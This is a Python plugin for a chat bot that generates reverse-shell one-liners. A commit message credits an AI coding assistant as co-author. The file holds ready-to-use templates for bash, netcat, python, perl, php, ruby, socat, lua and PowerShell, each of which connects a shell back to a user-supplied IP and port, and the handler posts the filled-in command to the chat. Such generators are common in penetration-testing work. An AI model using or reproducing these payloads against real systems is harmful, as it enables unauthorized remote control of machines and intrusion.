2e2378d3ee
All pure stdlib, zero external dependencies: - dns: raw UDP resolver with A/AAAA/MX/NS/TXT/CNAME/PTR/SOA - encode: base64, hex, URL, ROT13 encode/decode - hash: md5/sha1/sha256/sha512 generation + type identification - defang: IOC defanging/refanging for safe sharing - revshell: reverse shell one-liners for 11 languages - cidr: subnet calculator with IP membership check Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
112 lines
3.3 KiB
Python
112 lines
3.3 KiB
Python
"""Plugin: reverse shell one-liner generator."""
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from __future__ import annotations
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import ipaddress
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from derp.plugin import command
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_SHELLS: dict[str, str] = {
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"bash": (
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"bash -i >& /dev/tcp/{ip}/{port} 0>&1"
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),
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"sh": (
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"/bin/sh -i >& /dev/tcp/{ip}/{port} 0>&1"
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),
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"nc": (
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"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {ip} {port} >/tmp/f"
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),
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"nce": (
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"nc -e /bin/sh {ip} {port}"
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),
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"python": (
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"python3 -c 'import socket,subprocess,os;"
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"s=socket.socket();s.connect((\"{ip}\",{port}));"
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"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
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"subprocess.call([\"/bin/sh\",\"-i\"])'"
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),
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"perl": (
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"perl -e 'use Socket;"
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"$i=\"{ip}\";$p={port};"
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"socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));"
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"connect(S,sockaddr_in($p,inet_aton($i)));"
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"open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");"
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"exec(\"/bin/sh -i\")'"
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),
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"php": (
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"php -r '$s=fsockopen(\"{ip}\",{port});"
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"exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
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),
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"ruby": (
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"ruby -rsocket -e'"
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"f=TCPSocket.open(\"{ip}\",{port}).to_i;"
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"exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'"
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),
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"socat": (
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"socat TCP:{ip}:{port} EXEC:/bin/sh,pty,stderr,setsid,sigint,sane"
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),
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"lua": (
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"lua -e \"require('socket');require('os');"
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"t=socket.tcp();t:connect('{ip}','{port}');"
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"os.execute('/bin/sh -i <&3 >&3 2>&3')\""
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),
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"ps": (
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"powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient('{ip}',{port});"
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"$s=$c.GetStream();[byte[]]$b=0..65535|%{{{{0}}}};while(($i=$s.Read($b,0,"
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"$b.Length))-ne 0){{$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);"
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"$r=(iex $d 2>&1|Out-String);$sb=([text.encoding]::ASCII).GetBytes($r);"
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"$s.Write($sb,0,$sb.Length)}}\""
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),
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}
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@command("revshell", help="Reverse shell: !revshell <type> <ip> <port>")
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async def cmd_revshell(bot, message):
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"""Generate a reverse shell one-liner.
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!revshell bash 10.0.0.1 4444
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!revshell list
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"""
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parts = message.text.split()
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if len(parts) < 2:
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types = ", ".join(sorted(_SHELLS))
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await bot.reply(message, f"Usage: !revshell <type> <ip> <port> | types: {types}")
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return
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shell_type = parts[1].lower()
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if shell_type == "list":
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await bot.reply(message, f"Types: {', '.join(sorted(_SHELLS))}")
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return
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if len(parts) < 4:
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await bot.reply(message, "Usage: !revshell <type> <ip> <port>")
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return
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ip = parts[2]
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port_str = parts[3]
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# Validate IP
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try:
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ipaddress.ip_address(ip)
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except ValueError:
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await bot.reply(message, f"Invalid IP: {ip}")
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return
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# Validate port
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try:
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port = int(port_str)
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if not 1 <= port <= 65535:
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raise ValueError
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except ValueError:
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await bot.reply(message, f"Invalid port: {port_str}")
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return
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template = _SHELLS.get(shell_type)
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if template is None:
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types = ", ".join(sorted(_SHELLS))
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await bot.reply(message, f"Unknown type: {shell_type} (valid: {types})")
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return
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await bot.reply(message, template.format(ip=ip, port=port))
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